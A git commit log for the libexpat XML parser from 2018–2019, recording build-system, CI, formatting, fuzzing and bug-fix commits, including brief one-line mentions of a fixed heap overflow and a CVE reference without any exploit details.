Sebastian Pipping 8666a6dfe8 CMake: Fix PACKAGE_* variables in expat_config.h.cmake 2019-08-30 02:30:28 +02:00
Sebastian Pipping d31810306a CMake: Make expat_config.h.cmake match expat_config.h.in variable order 2019-08-30 02:30:28 +02:00
Sebastian Pipping cc5772f7dd CMake: Mimic lib/Makefile.am with regard to doc installation 2019-08-30 01:19:14 +02:00
Sebastian Pipping 65ad42cb6f CMake: Install expat_config.h to include directory 2019-08-30 01:19:14 +02:00
Sebastian Pipping b429525a0b CMake: Move expat_install up for upcoming use 2019-08-30 01:19:14 +02:00
Sebastian Pipping 260f343dc8 Merge pull request #325 from libexpat/drop-support-msvc-2003
Drop support for MSVC 2003 (related to #323)
2019-08-30 01:18:27 +02:00
Sebastian Pipping 2d1fb08c61 win32: Get readme back in sync with CMake
Related commit: 84cf2fb213
2019-08-29 21:20:15 +02:00
Sebastian Pipping 89d17f0d1f README.md: Document supported compilers 2019-08-29 19:49:56 +02:00
Sebastian Pipping 00dabedd00 expat_external.h: Inline remains of XML_USE_MSC_EXTENSIONS 2019-08-29 19:49:56 +02:00
Sebastian Pipping 36fa081cfe Drop support for Visual Studio <=7.1/2003
_MSC_VER 1400 is 8.0/2005
2019-08-29 19:49:27 +02:00
Sebastian Pipping ed04ca06fb fuzz: Add .gitignore 2019-08-29 17:25:46 +02:00
Sebastian Pipping a16ca4c913 Changes: Add reference to #322 2019-08-29 14:14:33 +02:00
Sebastian Pipping 84cf2fb213 Revert "CMake: Enabled MSVC_USE_STATIC_CRT by default (to match MSVC)"
This reverts commit f42417b92c.
2019-08-29 14:00:17 +02:00
Sebastian Pipping 13b579ace2 Merge pull request #322 from libexpat/cmake-inno-setup
Drop MSVC files + build Inno Setup installer using CMake and msbuild
2019-08-29 13:56:22 +02:00
Sebastian Pipping 030c536e5c reference.html: Fix mismatched tag 2019-08-29 13:33:34 +02:00
Sebastian Pipping 84b03ba11f Merge pull request #321 from libexpat/misc-fuzzing-bits
Misc fuzzing bits… including Travis CI integration
2019-08-29 13:23:05 +02:00
Sebastian Pipping 71485dcf8b win32: Remove MSVC solution and project files 2019-08-29 02:35:05 +02:00
Sebastian Pipping 7ae689fd95 docs: Migrate to generated solution files with CMake and msbuild on Windows 2019-08-29 02:34:14 +02:00
Sebastian Pipping f42417b92c CMake: Enabled MSVC_USE_STATIC_CRT by default (to match MSVC) 2019-08-29 02:30:34 +02:00
Sebastian Pipping 208e9b4f60 CMake: Re-introduce MT/MD postfix for static windows .lib files 2019-08-29 02:30:34 +02:00
Sebastian Pipping ee9a7a718e win32: Implement build_expat_iss.bat 2019-08-29 02:30:07 +02:00
Sebastian Pipping 66b4a3f673 win32: Add CMake files to Inno Setup 2019-08-29 02:21:52 +02:00
Sebastian Pipping 37db5cbea4 CMake: Mention CMAKE_BUILD_TYPE in summary 2019-08-29 02:21:52 +02:00
Sebastian Pipping 42d4f61db0 Travis CI: Make MODE=cmake-oos build fuzzing code as well 2019-08-29 01:01:31 +02:00
Sebastian Pipping b2274348e2 CMake: Advertise CXX settings for fuzzer so that C++ tests will link fine 2019-08-29 01:00:43 +02:00
Sebastian Pipping f991a45dec Travis CI: Turn verbosity up for MODE=cmake-oos 2019-08-29 00:58:50 +02:00
Sebastian Pipping b784c75670 CMake: Get off target_link_options of CMake >=3.13 2019-08-29 00:58:50 +02:00
Sebastian Pipping 5031b61352 CMake: Be more helpful with regard to CMAKE_C_COMPILER_ID 2019-08-29 00:58:26 +02:00
Sebastian Pipping d608f79849 CMake: Check C rather than C++ compiler for clang for fuzzing 2019-08-29 00:56:34 +02:00
Sebastian Pipping 438493691f tests: Cover denying internal entities closing the doctype 2019-08-28 17:20:51 +02:00
Sebastian Pipping 4406ffb998 Changes: Document doctype closing heap overflow 2019-08-28 17:20:51 +02:00
Sebastian Pipping 22e8631be6 CMake: Add BUILD_fuzzers to summary 2019-08-28 16:45:50 +02:00
Sebastian Pipping c20b758c33 xmlparse.c: Deny internal entities closing the doctype 2019-08-28 15:14:26 +02:00
Sebastian Pipping a78e8624c9 Changes: Document #308 2019-08-28 14:12:56 +02:00
Sebastian Pipping 745de9a519 Merge pull request #319 from libexpat/byte-type-comments
xmltok: Add more in-code documentation about byte types
2019-08-28 12:59:48 +02:00
Mitch Phillips 29eddcae5f Add XML fuzzers to libexpat upstream. (#308) 2019-08-28 12:57:57 +02:00
Sebastian Pipping 748ac8799d xmltok: Add more in-code documentation about byte types 2019-08-28 01:27:32 +02:00
Sebastian Pipping e3d6578214 CMake: Windows: Revert "MT" naming postfix bits 2019-08-21 18:19:36 +02:00
Sebastian Pipping 4ad291435c Merge pull request #316 from libexpat/cmake-postfix
CMake: Windows: Make binary postfix match MSVC
2019-08-18 20:25:52 +02:00
Sebastian Pipping 1544741d03 CMake: Add suffix w?d?(MT)? to binaries on Windows 2019-08-17 22:53:48 +02:00
Sebastian Pipping 36ecc4dc12 CMake: Bump version requirement to CMake 3.1.3 2019-08-17 22:50:47 +02:00
Sebastian Pipping b134d64694 Merge pull request #315 from libexpat/issue-306-configure-ac-style-doc
configure-ac-style.md: Add configure.ac style guide (#306)
2019-08-17 22:15:39 +02:00
Sebastian Pipping 80d2829fa8 Merge branch 'david-loffredo-portable-unused-param-fix' (#313) 2019-08-17 18:20:49 +02:00
Sebastian Pipping 75c93b91df Changes: Document #313 2019-08-17 18:19:41 +02:00
Sebastian Pipping 0b613819d5 Merge branch 'david-loffredo-win64-cast-warnings' (#310) 2019-08-17 18:02:26 +02:00
Sebastian Pipping 2950d7287a Changes: Document #310 2019-08-17 18:01:37 +02:00
Sebastian Pipping 1d920e2865 configure-ac-style.md: Add configure.ac style guide 2019-08-17 17:37:56 +02:00
Sebastian Pipping df5cd6e01e Merge pull request #314 from hannob/add_no_common
Add -fno-common to ASAN (for global buffer overflows)
2019-08-17 15:40:15 +02:00
David Loffredo 1ec27cb32f update xmlwf and tests to new UNUSED_P definition
Signed-off-by: David Loffredo <loffredo@steptools.com>
2019-08-16 12:20:00 -04:00
David Loffredo 561773607c handle unused parameters with the usual (void)param; statement rather than gcc-specific attribute
Signed-off-by: David Loffredo <loffredo@steptools.com>
2019-08-16 09:52:09 -04:00
Hanno 7f91a3d1b6 Add -fno-common to ASAN tests to make sure global buffer overflows are detected. 2019-08-16 11:45:18 +02:00
David Loffredo 9cb5c2c051 fix loss of data warnings with vc15 win64 and /W4
Signed-off-by: David Loffredo <loffredo@steptools.com>
2019-08-15 16:39:48 -04:00
Sebastian Pipping 4fff5a7097 Merge pull request #309 from hannob/ubsan_abort
Make sure UBSAN errors cause a hard abort.
2019-08-15 22:29:15 +02:00
Hanno 2299f37fea Make sure UBSAN errors cause a hard abort. 2019-08-15 20:44:40 +02:00
Sebastian Pipping 363cd4447f Merge branch 'improve-cmake' 2019-08-12 21:26:50 +02:00
Sebastian Pipping 59da88ab55 CMake: Be fine without C++ compiler when tests are disabled 2019-08-12 21:26:20 +02:00
Sebastian Pipping af8528242c CMake: Make use of PROJECT_VERSION 2019-08-12 21:26:20 +02:00
Sebastian Pipping 8783534621 CMake: Require CMake >=3.0.2 2019-08-12 21:26:17 +02:00
Sebastian Pipping bb0abf601a CMake: Make version requirement first statement in file 2019-08-12 21:26:08 +02:00
Sebastian Pipping 0d2fe1d114 CMake: Move enable_testing closer to test runner code 2019-08-12 21:26:08 +02:00
Sebastian Pipping db81bf02a7 CMake: Use SEND_ERROR to report more errors at once 2019-08-12 21:26:08 +02:00
Sebastian Pipping 5ccfc06ff7 CMake: A more section comments 2019-08-12 21:26:08 +02:00
Sebastian Pipping 2f77bfef82 CMake: Move header installation away from pkg-config file code 2019-08-12 21:26:08 +02:00
Sebastian Pipping 823672d853 CMake: Gather configuration options near the top 2019-08-12 21:26:08 +02:00
Sebastian Pipping 19146b7f61 CMake: Produce configuration summary 2019-08-12 21:26:08 +02:00
Sebastian Pipping 68318981c0 CMake: Extract variable test_SRCS 2019-08-12 21:26:08 +02:00
Sebastian Pipping 3b51140335 Merge branch 'kkkunche-issue_302' (#307) 2019-08-12 21:17:27 +02:00
kkkunche 3987529951 Correct the indentation for configure.ac 2019-08-12 21:16:56 +02:00
Sebastian Pipping 322ca04c9a Merge branch 'fix-make-run-xmltest-for-out-of-source-builds' 2019-08-11 21:12:49 +02:00
Sebastian Pipping c76f2c4690 Changes: Document out-of-source fix to "make run-xmltest" 2019-08-11 19:38:08 +02:00
Sebastian Pipping d4ed0019a9 Makefile.am: Make "run-xmltest" more robust
Robust towards existing file $(srcdir)/tests/xmlts.zip
Robust towards existing directory $(srcdir)/tests/xmlconf/

Because if make finds the in $(srcdir) and does not create them in $(builddir).
2019-08-11 19:38:08 +02:00
Sebastian Pipping 3cb24b6e59 xmltest.sh: Remove dead code 2019-08-11 19:38:08 +02:00
Sebastian Pipping dc6e298679 xmltest.sh: Fix for out-of-source builds 2019-08-11 19:38:08 +02:00
Sebastian Pipping ef5be9f1bb Makefile.am: Support direct "./configure && make run-xmltest" 2019-08-11 19:38:08 +02:00
Sebastian Pipping 17dcf52606 Makefile.am: Use $(srcdir) and $(*builddir) in target "run-xmltest" 2019-08-11 19:38:00 +02:00
Sebastian Pipping 08a7d458bd apply-clang-format.sh: Adapt to new expat_config.h.cmake line endings 2019-08-11 02:12:18 +02:00
Sebastian Pipping 45e1b4f595 CMake.README: Remove trailing whitespace 2019-08-10 23:53:50 +02:00
dos2unix 5e4af89d56 CMake: Migrate files from Windows to Unix line endings 2019-08-10 23:52:10 +02:00
Sebastian Pipping ca9c19e161 Changes: Streamline entries about new CMake arguments 2019-08-10 20:33:00 +02:00
Sebastian Pipping aa6d76e9d9 Merge branch 'kkkunche-239_issues' (#301) 2019-08-10 20:31:44 +02:00
Sebastian Pipping b4690c0d55 Changes: Document #239 and #301 2019-08-10 20:30:27 +02:00
kkkunche d6cd0e4769 Autotool new options : --with/--without -getrandom and --with/--without -sysgetrandom.
Autodetect works by default for getrandom and sysgetrandom.
With the these options user can use the detected functions or ignore them.
2019-08-10 20:25:42 +02:00
Sebastian Pipping e9db1a75c4 Merge branch 'david-loffredo-rand_s-test' (#302, fixes #299) 2019-08-08 00:14:21 +02:00
Sebastian Pipping 8c1d9c144a Changes: Document #299 and #302 2019-08-07 19:50:50 +02:00
Sebastian Pipping 8a935ff9ab xmlparse.c: Mention rand_s with stdlib include 2019-08-07 19:50:50 +02:00
David Loffredo 5d34a708e7 replace loadlibrary.c and RtlGenRandom call with rand_s() on windows
Signed-off-by: David Loffredo <loffredo@steptools.com>
2019-08-07 19:43:38 +02:00
David Loffredo c5a2867de1 Make win32 stdlib.h define rand_s(), add writeRandomBytes_rand_s().
Signed-off-by: David Loffredo <loffredo@steptools.com>
2019-08-07 19:42:16 +02:00
Sebastian Pipping 82ea946c17 Merge pull request #298 from libexpat/issue-240-stopping-parser-from-inside-end-element-handler
Fix stopping parser from inside end element handler (#240)
2019-08-07 15:08:44 +02:00
Sebastian Pipping 879021192b Changes: Document fix to #240 2019-08-04 15:17:07 +02:00
Sebastian Pipping ee4581af41 runtests.c: Add two test cases for/from issue #240
Many thanks to Rolf Ade (@pointsman)!
2019-08-04 15:17:07 +02:00
Sebastian Pipping 4007706509 xmlparse.c: Fix effect of XML_StopParser for end element handlers (#240) 2019-08-04 15:15:27 +02:00
Sebastian Pipping 1f2ecfbd4c Merge branch 'clang-format-9' (#293, fixes #24) 2019-08-04 15:07:36 +02:00
Sebastian Pipping f485410a9b Changes: Document mass-application of clang-format 9 2019-08-03 21:31:44 +02:00
clang-format d248bbd940 Mass-apply clang-format 9 using ./apply-clang-format.sh 2019-08-03 21:31:44 +02:00
Sebastian Pipping c951711d75 siphash.h: Prepare for application of clang-format 2019-08-03 21:31:44 +02:00
Sebastian Pipping 65fcabba37 runtests.c: Mark some sections as to be excluded by clang-format
This will make clang-format 9 produce stable results.
2019-08-03 21:31:44 +02:00
Sebastian Pipping 61b010bde6 xmltok_impl.c: Re-format use of LEAD_CASE macro
This will make clang-format 9 produce stable results.
2019-08-03 21:31:44 +02:00
Sebastian Pipping 090b1cbdef Travis CI: Integrate clang-format 9 2019-08-03 21:31:44 +02:00
Sebastian Pipping 51ba984bb3 .clang-format: Comment out AlignConsecutiveMacros
Because clang-format 9.0.0-svn362770-1~exp1+0~20190607061653.2401~1.gbp2444fc
on Travis does not yet support it.
2019-08-03 21:31:44 +02:00
Sebastian Pipping 88495639de .clang-format: Tune 2019-08-03 21:31:44 +02:00
Sebastian Pipping 91abe04b2f .clang-format: Update to clang-format 9 default style 2019-08-03 20:34:04 +02:00
Sebastian Pipping da2bc32938 .clang-format: Pin clang-format 8 default style
Trailing whitespace has been removed.
2019-08-03 20:34:04 +02:00
Sebastian Pipping 5b365c7fe8 Merge branch 'issue-266-make-travis-ci-cover-mingw' (#266) 2019-07-31 00:26:23 +02:00
Sebastian Pipping 356d4841d7 Travis CI: Cover MinGW 2019-07-30 23:29:16 +02:00
Sebastian Pipping eb8d19e5b0 Travis CI: Compress some whitespace for upcoming extension 2019-07-30 23:29:16 +02:00
Sebastian Pipping 3a3f873a16 Makefile.am: Make "run-xmltest" robust to wine error output 2019-07-30 23:29:16 +02:00
Sebastian Pipping f0b8636ccc qa.sh: Add missing DLL symlinks for MinGW 2019-07-30 21:27:05 +02:00
Sebastian Pipping 0ff0d45359 qa.sh: Show tests/runtests*.log on "make check" failure for MinGW 2019-07-30 21:27:05 +02:00
Sebastian Pipping 3c3d66a22e Merge branch 'drop-xmlwf-com-code' (#286) 2019-07-29 22:05:04 +02:00
Sebastian Pipping ef075b086f Changes: Document #286 2019-07-29 22:04:36 +02:00
Sebastian Pipping 55854c993e xmlwf: Drop COM code 2019-07-29 22:04:36 +02:00
Sebastian Pipping e10fb3a65c Merge pull request #296 from libexpat/fix-qa-sh-integration
Fix qa.sh integration
2019-07-29 20:11:13 +02:00
Philippe Antoine ad73aa0419 Travis CI: Pass ${CONFIGURE_ARGS} to ./qa.sh 2019-07-28 23:47:27 +02:00
Philippe Antoine 689d9245f8 qa.sh: Pass command line arguments to ./configure 2019-07-28 23:47:22 +02:00
Marco Maggi b306ee963f minicheck.c: Fix volatile variables (#235) 2019-07-28 23:13:56 +02:00
Sebastian Pipping 42d904741b Travis CI: Move cppcheck according to alphabetic order 2019-07-28 21:13:43 +02:00
Sebastian Pipping c174c05433 expat.h: Drop OpenVMS support leftover (#14) 2019-07-28 17:58:56 +02:00
Sebastian Pipping 8a327049d8 Changes: Add missing entries 2019-07-28 02:01:03 +02:00
Sebastian Pipping b37d45a77c Merge branch 'clang-static-analyzer' 2019-07-28 01:38:47 +02:00
Sebastian Pipping 8a39eedcd3 runtests.c: Address null pointer warnings by Clang Static Analyzer 2019-07-28 01:38:13 +02:00
Sebastian Pipping ff0606bb86 structdata.c: Address Clang Static Analyzer warnings (#294) 2019-07-28 01:38:13 +02:00
Sebastian Pipping 3053f53d34 xmlparse.c: Address Clang Static Analyzer false positive (#295) 2019-07-28 00:09:25 +02:00
Sebastian Pipping ce03de2986 runtests.c: Pull semicolon out of braces 2019-07-27 19:08:48 +02:00
Sebastian Pipping c6ef133d1b runtests.c: Reduce code duplication 2019-07-27 19:08:40 +02:00
Sebastian Pipping 39dec00aaa Travis CI: Drop "sudo: required" 2019-07-24 22:31:25 +02:00
Sebastian Pipping 3270bbab5c Merge pull request #290 from manish3kumar/integrate-sa
Integrate cppcheck with travis-ci for libexpat
2019-07-24 01:18:43 +02:00
Manish, Kumar 0a917b38f1 Integrate cppcheck with travis-ci for libexpat
Signed-off-by: Manish, Kumar <manish3.kumar@intel.com>
2019-07-23 17:43:53 +05:30
Sebastian Pipping 1a7b1a72a9 Merge branch 'travis-clang-9' 2019-07-23 00:53:53 +02:00
Sebastian Pipping abc10118d5 Travis CI: Use Clang 9 on Linux 2019-07-23 00:07:31 +02:00
Sebastian Pipping 99cc61c438 qa.sh: Dump compiler version 2019-07-22 23:56:30 +02:00
Sebastian Pipping d71e3c802a AppVeyor|Travis: Re-introduce clone depth
Depth 1 made surpassed pushed fail so it was dropped.
No depth limit wastes time and hardware resources though, and
has some risk that depth 1 will be re-introduced, by mistake.
So let's try 50 now.

Related commits:
- 10c2354588 — AppVeyor
- 88cf657da9 — Travis
2019-07-22 23:39:56 +02:00
Sebastian Pipping b21ab1d1f4 Merge branch 'solve-warnings.marcomaggi-2018-10-30' (fixes #235) 2019-07-22 23:18:58 +02:00
Marco Maggi 775cfba1d5 fixed warning about potential null pointer dereference 2019-07-22 23:15:12 +02:00
Sebastian Pipping be784f0c9c runtests.c: Address warnings about variable shadowing 2019-07-22 23:03:11 +02:00
Sebastian Pipping 9f9e9403cb Merge branch 'marcomaggi-cleaner-test-for-mingw.marcomaggi-2018-10-28' (fixes #231) 2019-07-21 23:14:03 +02:00
Sebastian Pipping 0fa72e8086 configure.ac: Use curly braces for variable 2019-07-21 22:57:48 +02:00
Sebastian Pipping 9d6915ab8a configure.ac: Adhust spelling of MinGW 2019-07-21 22:35:05 +02:00
Marco Maggi 3e3dc1f0f7 cleaner test for mingw as host system 2019-07-21 22:28:45 +02:00
Sebastian Pipping 88cf657da9 Travis CI: Drop "git.depth: 1" because subsequent pushes were failing ongoing builds
See 10c2354588 for AppVeyor and more details.
2019-07-20 17:26:20 +02:00
Marco Maggi 3f8e28f3cb fixed use of compilation flags in coverage script (#229) 2019-07-20 17:11:39 +02:00
Sebastian Pipping 926880c3e3 Merge branch 'marcomaggi-shell-scripts-review.marcomaggi-2018-10-21' (fixes #229) 2019-07-20 17:06:16 +02:00
Sebastian Pipping 224c217eb6 clean_coverage.sh: Use portable shebang 2019-07-20 17:05:32 +02:00
Marco Maggi 54f1dff7ac added shebang and comments to clean_coverage script 2019-07-20 17:05:02 +02:00
Sebastian Pipping 21e11f7782 internal.h: Fix UNUSED_P for GCC 3.3 (fixes #288) 2019-07-20 16:42:21 +02:00
Sebastian Pipping 9c9d0d1a1f runtests.c: Address cppcheck warning (fixes #283)
[tests/runtests.c:647]: (error) Address of local auto-variable assigned to a function parameter.
2019-07-17 18:05:17 +02:00
Sebastian Pipping 10c2354588 AppVeyor: Drop "clone_depth: 1" because subsequent pushes were failing ongoing builds
Symptom:
  Build started
  git config --global core.autocrlf input
  git clone -q --depth=1 --branch=master https://github.com/libexpat/libexpat.git c:\projects\libexpat
  git checkout -qf d4d8d486af
  fatal: reference is not a tree: d4d8d486af

Cause:
  A more recent push made d4d8d486af
  the second-last commit so that --depth=1 would create a commit
  graph without that commit.

Documented at:
https://www.appveyor.com/docs/how-to/repository-shallow-clone/#setting-depth-of-git-clone-command
2019-07-17 17:28:31 +02:00
Sebastian Pipping c906acdafc xmlwf: Ensure that STDMETHODIMP_ is defined for cppcheck (fixes #285) 2019-07-17 16:38:39 +02:00
Sebastian Pipping d4d8d486af xmltok.c: Use memcpy instead of copying single bytes (fixes #282)
Fixes cppcheck's complaint as a side-effect.
2019-07-17 16:21:32 +02:00
Sebastian Pipping c5b3ce0932 tests: Silence cppcheck false positive (fixes #284) 2019-07-17 16:02:09 +02:00
Sebastian Pipping 987b9f9758 Merge branch 'MohammedKhajapasha-issue_273' (#281, fixes #273) 2019-07-15 00:17:57 +02:00
Sebastian Pipping 982193d47a Travis: Limit distcheck tests to plain distcheck
--enable-xml-attr-info is tested elsewhere and this
combination does not seem to provide additional value
to justify runtime.
2019-07-15 00:15:14 +02:00
Sebastian Pipping c8a93553c7 Travis: Drop test of in-source CMake
Out-of-source CMake is still there and is more important.
2019-07-15 00:05:25 +02:00
Mohammed Khajapasha 974a0a8a7d Enable CI for XML_ATTR_INFO
Enable CI to cover XML_ATTR_INFO feature.

Signed-off-by: Mohammed Khajapasha <mohammed.khajapasha@intel.com>
2019-07-12 05:14:26 +00:00
Sebastian Pipping 28edd45043 Merge branch 'rewrite-qa-sh' (#278) 2019-07-10 15:21:48 +02:00
Sebastian Pipping 538d5433a8 Travis: Move from exclusion to inclusion approach 2019-07-10 03:41:56 +02:00
Sebastian Pipping 109ed472d8 Travis: Excluding UndefinedBehaviorSanitizer for macOS due to link errors
https://travis-ci.org/libexpat/libexpat/jobs/556567990#L529
2019-07-10 03:41:56 +02:00
Sebastian Pipping f23548f9bd Travis: Disable gcov mode on macOS for lack of -s argument
gcov: Unknown command line argument '-s'
2019-07-10 03:41:56 +02:00
Sebastian Pipping e0b1b273c1 Travis: Fix MemorySanitizer exclude for macOS 2019-07-10 00:31:19 +02:00
Sebastian Pipping 429bf39b02 qa.sh: Pass -fsanitize=undefined to linker as well 2019-07-10 00:31:19 +02:00
Sebastian Pipping 23e95b42b4 qa.sh: Use clang++ to link (for ubsan) 2019-07-10 00:31:19 +02:00
Sebastian Pipping 99d60755bd qa.sh: Support GCC coverage reporting with Apple GCC as well 2019-07-10 00:31:19 +02:00
Sebastian Pipping 240957b865 Travis: Cover MemorySanitizer and UndefinedBehaviorSanitizer 2019-07-10 00:31:16 +02:00
Sebastian Pipping 25c46e0acf qa.sh: Re-write
- A bit more flexible and high level
- Drop support for ncc
- Fix coverage rendering, drop split mode
2019-07-10 00:02:14 +02:00
Sebastian Pipping bf926a6edc Merge branch 'kkkunche-issue_239' (#239, #277) 2019-07-09 23:26:06 +02:00
Sebastian Pipping 434f549134 Changes: Document #239 and #277 2019-07-09 23:18:21 +02:00
Sebastian Pipping 17c1fb49e7 CMake: Write expat_config.h as late as needed
Previously, our post-processing of HAVE_GETRANDOM did
was not applied to expat_config.h.
2019-07-09 23:14:18 +02:00
Sebastian Pipping a33e021955 CMake: Resolve code duplication by use of a macro 2019-07-09 23:14:05 +02:00
Sebastian Pipping dfef43bf9b CMake: Support bypassing auto-detection of syscall SYS_getrandom 2019-07-09 23:13:54 +02:00
Sebastian Pipping 592528b6b3 CMake: Turn getrandom build flag into a tribool 2019-07-09 23:13:54 +02:00
Sebastian Pipping c43fea5e10 CMake: Move reset of HAVE_GETRANDOM after ConfigureChecks.cmake 2019-07-09 23:13:23 +02:00
kkkunche bba9d973c7 CMake: Option to Disable the usuage of getrandom after autodetect 2019-07-09 23:13:23 +02:00
Sebastian Pipping 4eeb9af97a Merge branch 'issue-268-address-variable-shadowing' (#270, fixes #268) 2019-07-06 19:17:52 +02:00
Sebastian Pipping cd2d9826a5 Changes: Mention #268 and #270 2019-07-06 19:17:05 +02:00
Sebastian Pipping cdad8bad64 Changes: Mention #244 2019-07-03 22:58:49 +02:00
Sebastian Pipping df83b430f5 Merge branch 'MohammedKhajapasha-master' (#264) 2019-07-03 22:53:12 +02:00
Sebastian Pipping aa1faa2de5 Changes: Document #264 2019-07-03 22:52:32 +02:00
Sebastian Pipping e7c4f16f9e coverage.sh: Simplify if statement
Conistent with unicode_enabled check above
2019-07-03 22:51:38 +02:00
Sebastian Pipping 6d3b700f6e coverage.sh: Make xml_attr_info_enabled match unicode_enabled 2019-07-03 22:39:50 +02:00
Sebastian Pipping 5caac8663e configure: Make --enable-xml-attr-info help match --enable-static 2019-07-03 22:35:38 +02:00
Mohammed Khajapasha 4a2eb0b7f0 Enable XML_ATTR_INFO in build
enable XML_ATTR_INFO in build to cover XML_ATTR_INFO in CI

Signed-off-by: Mohammed Khajapasha <mohammed.khajapasha@intel.com>
2019-07-03 22:32:34 +02:00
Sebastian Pipping 0117f01906 xmlparse.c: Limit scope of new_connector to save sizeof(char*) on the stack 2019-07-01 20:15:11 +02:00
Sebastian Pipping eef2b12935 xmlparse.c: Drop needless re-calculation of keep (#268)
Fixes variable shadowing as a side effect.
2019-06-29 22:41:54 +02:00
Sebastian Pipping 94ea91cf6a xmlparse.c: Resolve temp variable shadow (#268)
Also add const.
2019-06-29 22:40:44 +02:00
Sebastian Pipping 9c90d3db3a Changes: Attach CVE-2018-20843 to #186 and #262 2019-06-24 20:08:48 +02:00
Sebastian Pipping f9ff801c5b Changes: Document #265 2019-06-20 21:59:28 +02:00
Sebastian Pipping 25051a4c8e Merge pull request #265 from xantares/patch-1
Fix link step on MinGW for CMake
2019-06-20 20:40:56 +02:00
xantares 42816e3625 Fix link step on MinGW
.def files are handled differently on MinGW than MSVC for the WIN32 target:

```
[ 14%] Linking C shared library libexpat.dll
/usr/lib/gcc/x86_64-w64-mingw32/9.1.0/../../../../x86_64-w64-mingw32/bin/ld: ../lib/libexpat.def:4: syntax error
/usr/lib/gcc/x86_64-w64-mingw32/9.1.0/../../../../x86_64-w64-mingw32/bin/ld:../lib/libexpat.def: file format not recognized; treating as linker script
/usr/lib/gcc/x86_64-w64-mingw32/9.1.0/../../../../x86_64-w64-mingw32/bin/ld:../lib/libexpat.def:1: syntax error
collect2: error: ld returned 1 exit status
```
2019-06-20 19:01:30 +02:00
Sebastian Pipping d3b78b42a2 Bump version from 2.2.6 to 2.2.7 2019-06-19 18:41:14 +02:00
Sebastian Pipping c04903b3d1 Bump version info from 7:8:6 to 7:9:6 2019-06-19 18:29:05 +02:00
Sebastian Pipping a91e771f63 Changes: Group/re-order changes for upcoming 2.2.7 2019-06-19 17:58:55 +02:00
Sebastian Pipping fc65cc00b4 Changes: Document #158 and #263 2019-06-19 15:52:05 +02:00
Sebastian Pipping beead4d188 Merge pull request #263 from kkkunche/master
Correct the man page installation path in CMake Build
2019-06-19 15:47:26 +02:00
kkkunche e4772783d0 Correct the man page installation path in CMake Build
CMake build system : corrected the man page creation to PROJECT_BINARY_DIR
and avoid creation into PROJECT_SOURCE_DIR.

Signed-off-by: kkkunche <kishore.kunche@intel.com>
2019-06-18 21:59:27 +05:30
Sebastian Pipping 20da8611e3 Merge branch 'issue-186-fix-extraction-of-namespace-prefix' 2019-06-16 23:59:31 +02:00
Sebastian Pipping ed682ae567 Changes: Document #186 and #262 2019-06-16 23:58:45 +02:00
Sebastian Pipping 11f8838bf9 xmlparse.c: Fix extraction of namespace prefix from XML name (#186) 2019-06-12 15:42:54 +02:00
Sebastian Pipping 5801a1b70a Merge branch 'issue-257-portable-shebang' (#257) 2019-05-18 14:13:44 +02:00
Sebastian Pipping 8d922c1ecf Changes: Document #257 2019-05-18 14:11:14 +02:00
Sebastian Pipping 20ee2c0375 Use "/usr/bin/env bash" shebang everywhere for protability (#257) 2019-05-18 14:09:19 +02:00
Jeffrey Walton 42b9c71ead Fix build on OpenBSD (GH #257) 2019-05-18 14:07:06 +02:00
Sebastian Pipping 8e24c60ab6 Travis CI: Install lzip on macOS for "make dist" (#258) 2019-05-12 21:51:04 +02:00
Sebastian Pipping 0075765874 Brewfile: Sort 2019-05-12 21:50:15 +02:00
Sebastian Pipping dc8421d694 Travis CI: Install lzip for "make dist" (#258) 2019-05-12 20:48:28 +02:00
Sebastian Pipping dcc356ce8e Changes: Remove @ GitHub username marker noise 2019-05-12 19:25:39 +02:00
Sebastian Pipping 844e5482c7 Autotools: Produce .tar.{gz,lz,xz} release archives (#236, #258) 2019-05-12 19:19:40 +02:00
Sebastian Pipping 5e2859fbf1 Merge pull request #250 from luzpaz/README-repology
README: Add Repology badge showing repos package is available in
2019-02-02 21:09:17 +01:00
luz.paz 08a0dd4a2e README: Add Repology badge showing repos package is available in 2019-02-02 14:24:18 -05:00
Sebastian Pipping 0e7efe2b01 Merge branch 'osx-travis-homebrew' (#152, #249) 2019-01-27 22:39:58 +01:00
Sebastian Pipping 6e29a8bbaf qa.sh: Link with clang for Address Sanitizer 2019-01-27 21:58:15 +01:00
Sebastian Pipping 75fbe10f71 qa.sh: Dump config.log for configure failures 2019-01-27 21:58:15 +01:00
Sebastian Pipping d95d78721d Travis CI: Keep macOS $PATH away from Linux 2019-01-27 21:58:15 +01:00
Stephen 9aaaac076a Travis CI: Test OSX
Use Brewfile for dependencies
2019-01-27 21:58:06 +01:00
Sebastian Pipping 1d24a9dc61 qa.sh: Fix incomplete link flags for Address Sanitizer
Prefix "-Wc," is fot libtool, see
https://www.gnu.org/software/libtool/manual/libtool.html#Stripped-link-flags
2019-01-27 21:56:00 +01:00
Sebastian Pipping dc27db3ea0 Merge branch 'issue-247-fix-configure-without-docbook' (fixes #247) 2019-01-26 20:44:39 +01:00
Sebastian Pipping 95455453b1 Fix compilation for lack of docbook2x-man
The guard in doc/Makefile.am was supposed to protect against
publishing release tarballs lacking a compiled xmlwf.1 man page
without noticing.  Now it does no more than advertised.
2019-01-26 20:34:41 +01:00
Sebastian Pipping 3826ac43e9 Merge branch 'issue-245-visibility-check' (fixes #245) 2019-01-26 18:56:10 +01:00
Sebastian Pipping f511408215 Changes: Mention PR #246 2019-01-26 18:55:51 +01:00
Sebastian Pipping c69657f8fd m4: Fix check for -fvisibility=hidden for Clang 2019-01-26 18:35:37 +01:00
Sebastian Pipping 8a95a28658 m4: Reformat C test code to be readable 2019-01-26 16:42:02 +01:00
Sebastian Pipping 9f5bfc8d0a Merge branch 'sdroege-win32-def-file-syntax' 2019-01-11 01:33:00 +01:00
Sebastian Pipping b90d29e44d Changes: Document fix to #243 2019-01-11 01:32:25 +01:00
Sebastian Dröge 1bc4aff75e Fix syntax of Windows module definition files
Otherwise this fails with:
  Cannot export @: symbol not defined
2019-01-10 21:26:07 +02:00
Sebastian Pipping 9f44ababe7 Merge pull request #237 from oshogbo/master
Fix compilation for -Werror with -Wunused-function/-Wall
2018-12-09 19:30:04 +01:00
Mariusz Zaborski 7f3291057b Un-break build libexpat.
The writeRandomBytes_arc4random is not used if the arc4random_buf
is available. This caused compiler to throw warnings.
Finally this breaks a build when warnings are treated as errors.
2018-11-04 19:34:08 +01:00
Sebastian Pipping ba1cfbbeb4 Merge branch 'KangLin-master' (#227) 2018-10-21 15:00:12 +02:00
Sebastian Pipping 8e4bd31840 Changes: Document #227 2018-10-21 14:59:34 +02:00
Sebastian Pipping d7f0c2e055 configure.ac: Streamline mention of defaults in --help output a bit 2018-10-21 14:52:11 +02:00
